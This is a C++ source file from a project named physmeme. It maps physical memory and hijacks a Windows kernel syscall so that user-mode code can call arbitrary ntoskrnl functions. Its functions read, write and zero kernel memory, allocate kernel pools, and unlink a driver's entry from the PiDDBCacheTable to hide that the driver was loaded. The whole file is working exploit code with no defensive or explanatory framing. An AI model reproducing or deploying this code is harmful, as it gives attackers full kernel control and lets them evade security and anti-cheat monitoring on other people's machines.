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346 lines
8.4 KiB
346 lines
8.4 KiB
#include "kernel_ctx.h"
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namespace physmeme
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{
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kernel_ctx::kernel_ctx()
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{
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if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
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return;
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nt_rva = reinterpret_cast<std::uint32_t>(
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util::get_kernel_export(
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"ntoskrnl.exe",
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syscall_hook.first.data(),
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true
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));
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nt_page_offset = nt_rva % page_size;
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ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
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LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
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);
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std::vector<std::thread> search_threads;
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//--- for each physical memory range, make a thread to search it
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for (auto ranges : util::pmem_ranges)
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search_threads.emplace_back(std::thread(
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&kernel_ctx::map_syscall,
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this,
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ranges.first,
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ranges.second
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));
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for (std::thread& search_thread : search_threads)
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search_thread.join();
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}
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void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
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{
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//if the physical memory range is less then or equal to 2mb
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if (begin + end <= 0x1000 * 512)
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{
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auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
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if (page_va)
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{
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// scan every page of the physical memory range
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for (auto page = page_va; page < page_va + end; page += 0x1000)
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if (!is_page_found.load()) // keep scanning until its found
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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//
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// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
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//
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psyscall_func.store((void*)page);
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auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
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auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
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if (my_proc_base != my_proc_base_from_syscall)
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continue;
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is_page_found.store(true);
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return;
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}
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physmeme::unmap_phys(page_va, end);
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}
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}
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else // else the range is bigger then 2mb
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{
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auto remainder = (begin + end) % (0x1000 * 512);
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// loop over 2m chunks
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for (auto range = begin; range < begin + end; range += 0x1000 * 512)
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{
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auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
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if (page_va)
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{
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// loop every page of 2mbs (512)
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for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
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{
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if (!is_page_found.load())
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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//
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// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
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//
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psyscall_func.store((void*)page);
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auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
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auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
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if (my_proc_base != my_proc_base_from_syscall)
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continue;
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is_page_found.store(true);
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return;
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}
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}
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}
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physmeme::unmap_phys(page_va, 0x1000 * 512);
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}
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}
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// map the remainder and check each page of it
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auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
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if (page_va)
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{
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for (auto page = page_va; page < page_va + remainder; page += 0x1000)
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{
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if (!is_page_found.load())
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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//
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// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
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//
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psyscall_func.store((void*)page);
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auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
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auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
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if (my_proc_base != my_proc_base_from_syscall)
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continue;
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is_page_found.store(true);
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return;
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}
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}
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}
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physmeme::unmap_phys(page_va, remainder);
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}
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}
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}
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bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
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{
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static const auto piddb_lock =
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util::memory::get_piddb_lock();
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static const auto piddb_table =
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util::memory::get_piddb_table();
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if (!piddb_lock || !piddb_table)
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return false;
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static const auto ex_acquire_resource =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"ExAcquireResourceExclusiveLite"
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);
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static const auto lookup_element_table =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"RtlLookupElementGenericTableAvl"
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);
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static const auto release_resource =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"ExReleaseResourceLite"
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);
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static const auto delete_table_entry =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"RtlDeleteElementGenericTableAvl"
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);
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if (!ex_acquire_resource || !lookup_element_table || !release_resource)
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return false;
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PiDDBCacheEntry cache_entry;
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const auto drv_name = std::wstring(file_name.begin(), file_name.end());
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cache_entry.time_stamp = timestamp;
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RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
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//
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// ExAcquireResourceExclusiveLite
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//
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if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
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return false;
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//
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// RtlLookupElementGenericTableAvl
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//
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PIDCacheobj* found_entry_ptr =
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syscall<RtlLookupElementGenericTableAvl>(
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lookup_element_table,
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piddb_table,
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reinterpret_cast<void*>(&cache_entry)
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);
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if (found_entry_ptr)
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{
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//
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// unlink entry.
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//
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PIDCacheobj found_entry = read_kernel<PIDCacheobj>(found_entry_ptr);
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LIST_ENTRY NextEntry = read_kernel<LIST_ENTRY>(found_entry.list.Flink);
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LIST_ENTRY PrevEntry = read_kernel<LIST_ENTRY>(found_entry.list.Blink);
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PrevEntry.Flink = found_entry.list.Flink;
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NextEntry.Blink = found_entry.list.Blink;
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write_kernel<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
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write_kernel<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
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//
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// delete entry.
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//
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syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
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//
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// ensure the entry is 0
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//
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auto result = syscall<RtlLookupElementGenericTableAvl>(
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lookup_element_table,
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piddb_table,
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reinterpret_cast<void*>(&cache_entry)
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);
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syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
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return !result;
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}
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syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
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return false;
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}
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void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type)
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{
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static const auto ex_alloc_pool =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"ExAllocatePool"
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);
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return syscall<ExAllocatePool>(
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ex_alloc_pool,
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pool_type,
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size
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);
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}
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void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type)
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{
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static const auto ex_alloc_pool_with_tag =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"ExAllocatePoolWithTag"
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);
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return syscall<ExAllocatePoolWithTag>(
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ex_alloc_pool_with_tag,
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pool_type,
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size,
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pool_tag
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);
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}
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void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size)
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{
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static const auto mm_copy_memory =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"RtlCopyMemory"
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);
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syscall<decltype(&memcpy)>(
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mm_copy_memory,
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buffer,
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addr,
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size
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);
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}
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void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size)
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{
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static const auto mm_copy_memory =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"RtlCopyMemory"
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);
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syscall<decltype(&memcpy)>(
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mm_copy_memory,
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addr,
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buffer,
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size
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);
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}
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void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size)
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{
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static const auto rtl_zero_memory =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"RtlZeroMemory"
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);
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syscall<decltype(&RtlSecureZeroMemory)>(
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rtl_zero_memory,
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addr,
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size
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);
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}
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PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const
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{
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if (!pid)
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return {};
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PEPROCESS proc;
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static auto get_peprocess_from_pid =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"PsLookupProcessByProcessId"
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);
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syscall<PsLookupProcessByProcessId>(
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get_peprocess_from_pid,
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(HANDLE)pid,
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&proc
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);
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return proc;
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}
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void* kernel_ctx::get_proc_base(unsigned pid) const
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{
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if (!pid)
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return {};
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const auto peproc = get_peprocess(pid);
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if (!peproc)
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return {};
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static auto get_section_base =
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util::get_kernel_export(
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"ntoskrnl.exe",
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"PsGetProcessSectionBaseAddress"
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);
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return syscall<PsGetProcessSectionBaseAddress>(
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get_section_base,
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peproc
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);
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}
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} |